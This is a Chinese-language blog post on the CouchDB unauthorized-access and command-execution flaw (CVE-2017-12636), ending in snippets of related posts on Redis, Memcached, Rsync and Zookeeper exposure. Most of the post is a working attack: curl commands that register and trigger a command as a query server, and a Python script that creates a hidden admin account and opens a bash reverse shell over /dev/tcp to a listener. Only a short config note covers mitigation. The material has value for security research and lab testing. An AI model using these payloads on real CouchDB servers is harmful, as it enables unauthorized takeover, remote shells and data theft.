CouchDB 未授权访问漏洞

0x00 CouchDB安装

CouchDB官方网站:http://couchdb.apache.org/

一路Next直到完成安装,打开浏览器并访问以下链接:http://127.0.0.1:5984/

可以使用以下网址与CouchDB Web界面进行交互:http://127.0.0.1:5984/_utils

0x01 漏洞利用

1、新增query_server配置,写入要执行的命令;
curl -X PUT ‘http://username:[email protected]:5984/_config/query_servers/cmd‘ -d ‘"id >/tmp/success"‘

2、新建一个临时库和临时表,插入一条记录;
curl -X PUT ‘http://username:[email protected]:5984/vultest‘
curl -X PUT ‘http://username:[email protected]:5984/vultest/vul‘ -d ‘{"_id":"770895a97726d5ca6d70a22173005c7b"}‘

3、调用query_server处理数据
curl -X POST ‘http://username:[email protected]:5984/vultest/_temp_view?limit=10‘ -d ‘{"language":"cmd","map":""}‘ -H ‘Content-Type:application/json‘

执行后,可以看到,指定的命令已经成功执行:

0x02 Python利用脚本

修改其中的target和command为你的测试机器,然后修改version为对应的Couchdb版本,成功反弹shell。

参考自:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth

target = ‘http://192.168.8.148:5984‘
command = ‘"bash -i >& /dev/tcp/192.168.8.148/4444 0>&1"‘
version = 2

session = requests.session()
session.headers = {
    ‘Content-Type‘: ‘application/json‘
}
# session.proxies = {
#     ‘http‘: ‘http://127.0.0.1:8085‘
# }
session.put(target + ‘/_users/org.couchdb.user:wooyun‘, data=‘‘‘{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}‘‘‘)

session.auth = HTTPBasicAuth(‘wooyun‘, ‘wooyun‘)

if version == 1:
    session.put(target + (‘/_config/query_servers/cmd‘), data=command)
else:
    host = session.get(target + ‘/_membership‘).json()[‘all_nodes‘][0]
    session.put(target + ‘/_node/{}/_config/query_servers/cmd‘.format(host), data=command)

session.put(target + ‘/wooyun‘)
session.put(target + ‘/wooyun/test‘, data=‘{"_id": "wooyuntest"}‘)

if version == 1:
    session.post(target + ‘/wooyun/_temp_view?limit=10‘, data=‘{"language":"cmd","map":""}‘)
else:
    session.put(target + ‘/wooyun/_design/test‘, data=‘{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}‘)

0x04 解决方案

在CouchDB\etc\couchdb\default.ini中

port = 5984                      couchdb的端口号
bind_address = 0.0.0.0           couchdb的ip地址,如果这里设置为127.0.0.1,那么外网无法访问。
max_connections = 2048           couchdb的最大连接数
database_dir = ../var/lib/couchdb              数据文件目录
view_index_dir = ../var/lib/couchdb           索引文件目录
util_driver_dir = ../lib/couch-1.0.1/priv/lib driver文件目录
file = ../var/log/couchdb/couch.log           日志文件
level = info                                                   日志级别 

参考链接:

CouchDB安装配置

http://www.yiibai.com/couchdb/installation.html

Couchdb 任意命令执行漏洞(CVE-2017-12636)

https://vulhub.org/#/environments/couchdb/CVE-2017-12636/

原文地址:https://www.cnblogs.com/xiaozi/p/8279983.html

时间: 2024-10-17 21:21:49

CouchDB 未授权访问漏洞的相关文章

CouchDB未授权访问漏洞执行任意系统命令exp

[email protected]:~# curl -X PUT 'http://3d9da15e7acfd5730.jie.sangebaimao.com/_config/query_servers/cmd' -d '"/sbin/ifconfig>/tmp/6666"' "" [email protected]:~# curl -X PUT 'http://3d9da15e7acfd5730.jie.sangebaimao.com/vultest' {&q

Memcached 未授权访问漏洞及加固

memcached是一套分布式的高速缓存系统.它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的.正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问. 漏洞成因: 由于memcached安全设计缺陷,客户端连接memcached服务器后 无需认证就 可读取.修改服务器缓存内容. 漏洞影响: 除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导

Redis 未授权访问漏洞(附Python脚本)

0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-2.8.17.tar.gz cd redis-2.8.17 make #启动redis服务 cd src ./redis-server 启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了. 比如: [email protected]:/tmp/redis-2.8.

zookeeper的未授权访问漏洞问题

zookeeper的基本情况 zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务.zookeeper官网下载软件包,bin目录下有客户端脚本和服务端脚本.另外还有个工具对理解和使用zookeeper服务非常有用,即zk-ui,该工具是zk服务端的可视化工具,可在web界面对服务端进行操作. zookeeper以树状结构保存数据,我们完全可以对比linux文件系统理解zookeeper的文件系统.不同点在于linux下的每个目录名对应一个znode. znode是z

Redis未授权访问漏洞的利用及防护

Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上.如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据.攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作.攻击者

Rsync未授权访问漏洞的利用和防御

首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/rsync.conf) 这一项read only表示只读,如果这一项为no,我们就具有写权限了. 如果这边有个PHP的站,如果写个一句话,后果大家都懂得. 当然,有些时候也可以读取到一些信息,这样可以造成敏感信息泄露. Rsync未授权访问漏洞的修复(或者说防御.缓解措施) 配置文件解析: 配置文件位

docker搭建redis未授权访问漏洞环境

这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1y来搜索该镜像 构建好容器之后需进入容器对ssh服务重启 /etc/init.d/ssh restart Dockerfile如下: #Redis is not authorized to access # Base image to use, this nust be set as the fir

Redis未授权访问漏洞

一.漏洞描述和危害 Redis因配置不当可以未授权访问,被攻击者恶意利用.攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器. 二.已确认被成功利用的软件及系统   对公网开放,且未启用认证的redis服务器. 三.建议修复方案 1.指定redis服务使用的网卡 (需

Redis未授权访问漏洞分析

catalog 1. Redis简介 2. 漏洞概述 3. 漏洞利用方式 4. 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann/p/3901588.html 2. 漏洞概述 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据.攻击者在未授权访